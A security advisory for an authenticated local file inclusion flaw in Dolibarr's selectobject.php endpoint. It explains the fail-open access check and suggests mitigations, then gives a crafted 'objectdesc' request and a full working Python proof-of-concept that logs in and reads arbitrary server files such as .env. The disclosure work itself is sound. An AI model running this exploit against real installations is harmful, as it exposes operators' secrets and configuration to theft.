CVE-2026-34036

Description

# Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure ## Target Dolibarr Core (Tested on version 22.0.4) ## Summary A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs…). ## Vulnerability Details The vulnerability is caused by a critical design flaw in `/core/ajax/selectobject.php` where dynamic file inclusion occurs **before** any access control checks are performed, combined with a fail-open logic in the core ACL function. - **Arbitrary File Inclusion BEFORE Authorization:** The endpoint parses the `objectdesc` parameter into a `$classpath`. If `fetchObjectByElement` fails (e.g., by providing a fake class like `A:conf/.htaccess:0`), the application falls back to `dol_include_once($classpath)` at **line 71**. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens *before* the application checks any user permissions. - **Access Control Bypass (Fail-Open):** At **line 102**, the application finally attempts to verify permissions by calling `restrictedArea()`. Because the object creation failed, the `$features` parameter sent to `restrictedArea()` is empty (`''`). Inside `security.lib.php`, if the `$features` parameter is empty, the access check block is completely skipped, leaving the `$readok` variable at `1`. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error. This allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like `.htaccess`, `.env`, `.json`, `.sql`) are dumped into the HTTP response before the application crashes. ## Steps to Reproduce - Log in to the Dolibarr instance with any user account (no specific permissions required). - Intercept or manually forge a GET request to the following endpoint: ``` GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0 ``` - Observe the HTTP response. The contents of the `conf/.htaccess` file will be reflected in the response body right before the PHP Fatal Error message. - *(Optional)* Run the attached Python PoC to automate the extraction: ``` python3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccess ``` ## Impact An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (`.env`), infrastructure configurations (`.htaccess`), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks. ## Suggested Mitigation - **Input Validation & Whitelisting:** The `$classpath` must be strictly validated or whitelisted before being passed to `dol_include_once()`. - **Execution Flow Correction:** The file inclusion logic must never be executed before the user's authorization has been fully verified. - **Enforce Fail-Secure ACLs:** Modify `restrictedArea()` in `core/lib/security.lib.php` so that if the `$features` parameter is empty, access is explicitly denied (`$readok = 0`) instead of allowed by default. ## Disclosure Policy & Assistance The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given. Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist. Thank you for the time and commitment to securing Dolibarr. Best Regards, Vincent KHAYAT (cnf409) ## Video PoC https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844 ## PoC Script ```python #!/usr/bin/env python3 """Dolibarr selectobject.php authenticated LFI PoC""" import argparse import html import re import urllib.error import urllib.parse import urllib.request from http.cookiejar import CookieJar LOGIN_MARKERS = ("Login @", "Identifiant @") LOGOUT_MARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord") def request( opener, base_url, method, path, params=None, data=None, timeout=15 ): url = f"{base_url.rstrip('/')}{path}" if params: url = f"{url}?{urllib.parse.urlencode(params)}" payload = urllib.parse.urlencode(data).encode("utf-8") if data else None req = urllib.request.Request(url, method=method.upper(), data=payload) req.add_header("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr") req.add_header("Accept", "text/html,application/xhtml+xml") try: with opener.open(req, timeout=timeout) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") except urllib.error.HTTPError as err: return err.code, err.read().decode("utf-8", errors="replace") def extract_login_token(page): for pattern in ( r'name=["\']token["\']\s+value=["\']([^"\']*)["\']', r'name=["\']anti-csrf-newtoken["\']\s+content=["\']([^"\']*)["\']', ): match = re.search(pattern, page, flags=re.IGNORECASE) if match: return match.group(1) return "" def looks_authenticated(body): return any(marker in body for marker in LOGOUT_MARKERS) def clean_included_output(body): for marker in ( "<br />\n<b>Warning", "<br />\r\n<b>Warning", "<br />\n<b>Fatal error", "<br />\r\n<b>Fatal error", ): pos = body.find(marker) if pos != -1: return body[:pos].rstrip() return body.rstrip() def login(opener, base_url, username, password): code, login_page = request(opener, base_url, "GET", "/") if code >= 400: return False, f"HTTP {code} on login page" token = extract_login_token(login_page) code, after_login = request( opener, base_url, "POST", "/index.php?mainmenu=home", data={ "token": token, "actionlogin": "login", "loginfunction": "loginfunction", "username": username, "password": password, }, ) if code >= 400: return False, f"HTTP {code} on login request" if looks_authenticated(after_login): return True, "" code, home = request(opener, base_url, "GET", "/index.php?mainmenu=home") if code < 400 and looks_authenticated(home): return True, "" return False, "Invalid username or password" def read_file(opener, base_url, relative_path): status, body = request( opener, base_url, "GET", "/core/ajax/selectobject.php", params={ "outjson": "0", "htmlname": "x", "objectdesc": f"A:{relative_path}:0", }, ) if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body): raise RuntimeError("Session expired or not authenticated") return status, body, clean_included_output(body) def parse_args(): parser = argparse.ArgumentParser( description="Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4)." ) parser.add_argument( "--url", default="http://127.0.0.1:8080", help="Dolibarr base URL (default: http://127.0.0.1:8080)", ) parser.add_argument("--username", required=True, help="Dolibarr username") parser.add_argument("--password", required=True, help="Dolibarr password") parser.add_argument( "--file", dest="target_file", required=True, help="Target file to read (e.g. conf/.htaccess).", ) return parser.parse_args() def print_result(path, status, raw, clean): print(f"\n[+] HTTP status: {status}") print(f"[+] Requested file: {path}") print("=" * 80) if clean: print(html.unescape(clean)) else: print("(No readable output extracted)") print("=" * 80) if clean != raw.rstrip(): print("[i] PHP warnings/fatal output were trimmed from display.") def summarize_error_body(body, limit=1200): text = html.unescape(body).strip() if not text: return "(Empty response body)" if len(text) > limit: return text[:limit].rstrip() + "\n... [truncated]" return text def main(): args = parse_args() opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor(CookieJar()) ) ok, reason = login(opener, args.url, args.username, args.password) if not ok: print(f"[!] {reason}") return 1 print("[+] Login successful.") try: status, raw, clean = read_file(opener, args.url, args.target_file) if status >= 400: print(f"[!] HTTP {status} while reading target file.") print("=" * 80) print(summarize_error_body(raw)) print("=" * 80) return 1 print_result(args.target_file, status, raw, clean) return 0 except Exception as exc: print(f"[!] Error: {exc}") return 1 if __name__ == "__main__": try: raise SystemExit(main()) except KeyboardInterrupt: print("\nInterrupted.") raise SystemExit(130) ```